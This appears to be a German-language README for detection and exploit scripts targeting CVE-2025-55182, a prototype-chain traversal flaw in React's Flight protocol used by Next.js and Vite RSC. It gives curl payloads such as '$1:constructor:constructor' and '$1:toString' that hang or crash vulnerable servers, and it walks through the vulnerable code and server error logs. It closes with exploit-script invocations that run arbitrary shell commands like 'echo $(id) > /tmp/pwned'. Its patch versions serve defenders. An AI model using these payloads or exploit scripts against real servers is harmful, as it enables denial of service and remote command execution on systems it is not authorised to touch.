
Echte CVE-2025-55182 Erkennung und Exploit. Keine Bullshit-LLMs.
React Flight-Protokoll-Schwachstelle, die Prototyp-Ketten-Traversal über Chunk-Referenzen ermöglicht. Getestet gegen bullshit-react-project.
Dies ist leicht veraltet, da der echte PoC nun enthüllt wurde.
Vite RSC: bash ./vite-detect.sh https://example.com
Next.js: bash ./nextjs-detect.sh https://example.com
Oder um beides zu tun, einfach bash ./detect.sh https://example.com ausführen.
Beide Skripte akzeptieren einen optionalen Timeout-Parameter (Standard 3s für Vite, 5s für Next.js).
Sendet x-rsc-action-Header mit $1:toString-Payload. Anfällige Server hängen sich unbegrenzt auf; gepatchte Server antworten normal. Zuerst wird der RSC-Endpunkt überprüft (bei ungültiger Aktion wird HTTP 500 erwartet).
Ermittelt Server-Aktions-IDs aus der Seitenantwort (Muster $ACTION_ID_<hash>) und sendet dann:
curl -X POST "http://localhost:3000" \
-H "Next-Action: <action_id>" \
-H "Accept: text/x-component" \
-F '0=["$1:a:a"]' \
-F '1={}'
Anfällige Server hängen; gepatchte Server antworten schnell.
Next.js: Upgrade auf 16.0.7, 15.5.7 oder 15.4.8
React (Vite RSC): Upgrade auf 19.0.1+, 19.1.2+ oder 19.2.1+
React's Flight-Protokoll ermöglicht Prototyp-Ketten-Traversal über Chunk-Referenzen. Die getOutlinedModel-Funktion iteriert durch Referenzpfade ohne hasOwnProperty-Prüfungen:
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]];
Dies ermöglicht es $1:constructor:constructor, {}.constructor.constructor → Function zu traversieren.
Endpunkt: Jeder Pfad mit x-rsc-action-Header
Aktions-ID: 710363d987f5#loginUser (oder eine andere gültige Serveraktion)
curl -X POST "http://localhost:4173/xyz" \
-H "x-rsc-action: 710363d987f5#loginUser" \
-F '0={"then":"$1:constructor:constructor"}' \
-F '1={"a":"b"}'
Anfällig: Internal Server Error
Gepatcht: Normale Antwort
Beachten Sie, dass Sie auf einem gepatchten Server einen 500-Fehler erhalten, wenn Ihre x-rsc-action-IDs falsch sind. Die Serverprotokolle unterscheiden sich lediglich.
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>)
Error: server reference not found '310363d987f5'
at Object.load (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13532:27)
at requireModule (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8302:20)
at loadServerAction (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8326:17)
at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14998:29)
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
TypeError: Cannot read properties of undefined (reading 'apply')
at AsyncLocalStorage.run (node:internal/async_local_storage/async_context_frame:63:14)
at runWithRequest (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13539:25)
at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14999:27)
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
Mit einer gültigen x-rsc-action erscheinen keine Serverprotokolle. Sie können die korrekte x-rsc-action finden, indem Sie eine echte Serveraktion ausführen und die Anfrage in den Entwicklertools aufzeichnen.
Die $1:toString-Payload hängt anfällige Server unbegrenzt auf – dies verwenden die Erkennungsskripte. Ich habe so ziemlich alles versucht, kann aber keine RCE erreichen.
Für Vite RSC:
bash exploit-vite.sh https://example.com/ 'echo $(id) > /tmp/pwned'
Für NextJS:
bash exploit-nextjs.sh https://example.com/ 'echo $(id) > /tmp/pwned'
Ich habe nur etwas Verpackung gemacht und es für Vite angepasst, das reines ESM ist und daher kein require hat.